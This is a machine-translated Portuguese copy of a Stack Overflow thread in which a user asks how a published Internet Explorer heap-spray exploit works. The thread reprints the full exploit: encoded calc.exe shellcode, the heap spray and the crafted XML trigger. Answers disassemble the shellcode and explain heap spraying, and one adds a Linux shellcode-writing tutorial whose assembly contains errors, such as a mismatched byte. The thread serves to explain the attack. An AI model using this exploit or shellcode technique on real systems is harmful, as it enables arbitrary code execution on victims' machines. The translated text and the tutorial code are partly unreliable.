Como é que este montão milw0rm pulverização explorar trabalho?
https://stackoverflow.com/questions/381171
-
22-08-2019 - |
italiano
english
français
española
中国
日本の
العربية
Deutsch
한국어
Português
RussianPergunta
Eu geralmente não têm dificuldade de ler o código JavaScript, mas para isso que eu não consigo descobrir a lógica. O código é de um exploit que foi publicado 4 dias atrás. Você pode encontrá-lo em milw0rm .
Aqui está o código:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Aqui está o que eu acredito que faz e eu gostaria que você me ajudar para a parte que eu entenda mal.
O shellcode variável contém o código para abrir o calc.exe. Eu não entendo como eles descobriram que corda estranho. Alguma idéia?
A segunda coisa é a variável spray. Eu não entendo esse loop estranho.
A terceira coisa é a memory variável que nunca é usado em qualquer lugar. Por que eles criá-lo?
A última coisa: o que faz a tag XML que na página
No momento eu tenho boas respostas, mas principalmente os muito gerais. Eu gostaria de mais explicações sobre o valor do código. Um exemplo é unescape("%u0a0a%u0a0a");. O que isso significa? Mesma coisa para o loop: por que o desenvolvedor escreve: length < 0xd0000? Eu gostaria de ter uma compreensão mais profunda, não só a teoria deste código.
Solução
O shellcode contém algumas instruções de montagem x86 que irão fazer o real explorar. spray cria uma longa sequência de instruções que serão colocados em memory. Uma vez que normalmente não podem descobrir a localização exata de nosso shellcode na memória, nós colocamos um monte de instruções nop antes dele e salto para algum lugar lá. A matriz memory manterá o código x 86 real, juntamente com o mecanismo de salto. Vamos alimentar o XML trabalhada para a biblioteca que tem um bug. Quando ele está sendo analisado, o bug fará com que o registro de ponteiro de instrução a ser atribuída a algum lugar na nossa explorar, levando à execução de código arbitrário.
Para compreender mais profundamente, você deve realmente descobrir o que está no código x86. unscape vai ser usado para colocar a sequência de bytes representados da corda na variável spray. É o código x86 válido que preenche uma grande parte da pilha e pula para o início do shellcode. A razão para que a condição final é limitações comprimento do fio do motor de script. Você não pode ter cordas maiores do que um comprimento específico.
Em x86 montagem, 0a0a representa or cl, [edx]. Esta é efetivamente equivalente a instrução nop para efeitos da nossa exploração. Onde quer que saltar no spray, vamos chegar à próxima instrução até chegar ao shellcode que é o código que realmente deseja executar.
Se você olhar para o XML, você verá 0x0a0a é lá também. Exatamente descrever o que acontece requer conhecimento específico do exploit (você tem que saber onde o bug é e como ele é explorado, o que eu não sei). No entanto, parece que forçar o Internet Explorer para acionar o código de buggy, definindo o innerHtml a essa string XML malicioso. Internet Explorer tenta analisá-lo eo código de buggy de alguma forma dá o controle para um local de memória onde existe o array (uma vez que é uma grande parte, a probabilidade de salto não é alta). Quando saltar lá o CPU vai manter executando instruções or cl, [edx] até no atinge o início do shellcode que é colocado na memória.
Eu desmontado o shellcode:
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
Compreender isto shellcode requer conhecimento montagem x86 e que o problema na própria biblioteca MS (para saber o que o estado do sistema é quando chegamos aqui), não JavaScript! Este código irá, por sua vez executar calc.exe.
Outras dicas
Isto parece um exploit do recente Internet Explorer bug que a Microsoft lançou o patch de emergência para. Ele usa uma falha no recurso de ligação de dados do manipulador de XML da Microsoft, que a memória causas heap a ser desalocada incorretamente.
Shellcode é o código de máquina que será executado quando o erro ocorre. Spray e memória são apenas algumas espaço alocado na pilha para ajudar a condição explorável ocorrer.
Heap Spraying é forma comum de explorar coisas navegador, se você estiver em que você pode encontrar vários posts como este: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
Toda vez que eu vejo memória que não são resolvidos em um exploit discussão, o meu primeiro pensamento é que a exploração é algum tipo de buffer overflow, caso em que a memória está a causar o buffer de estouro ou está sendo acessado uma vez o tampão transborda.
Esta é a partir metasploit, isso significa que ele está usando um dos metasploit desembolsar códigos. É open source, assim você pode ir e agarrá-lo: http://www.metasploit.com/
Consulte Codificação de caracteres em HTML .
É dados binários codificado como uma string, que JavaScript está a descodificar.
XSS também.
Você pode ver todos os truques que codificam aqui:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
Simples exemplo shellcode
Olá, mundo na montagem AT & T sintaxe x86 Eu acredito (Assistente de Treinamento).
configurar o arquivo: vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
compilação assim: as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Agora você tem um binário que imprime Olá mundo.
para converter o binário em tipo de código shell em: objdump -D shellcode
você receberá a saída:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
Agora, se você olhar na linha 4 com texto que você vai ver: 400078: eb 1a jmp 0x400094
a parte que diz eb 1a é a representação hexadecimal do jmp one instruções de montagem, onde "um" é o endereço de memória da seqüência.
para preparar seu shellcode para execução abrir um outro arquivo de texto e armazenar os valores hexadecimais em uma matriz de caracteres. Para formatar o código shell corretamente você digita em uma \x antes de cada valor hexadecimal.
o próximo exemplo de código shell será parecido com o seguinte de acordo com a saída do comando objdump:
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
Este exemplo usa C para a matriz. Agora você tem shellcode que vai escrever na saída padrão de trabalho "Olá mundo"
Você pode testar o código shell, colocando-o em uma vulnerabilidade ou você pode escrever o seguinte programa c para testá-lo:
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
Para compilar o tipo de programa em:
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
correr com ./run
Você sabe que tem um exemplo de trabalho de desenvolvimento shellcode simples que foi testado no Linux Mint / debian.
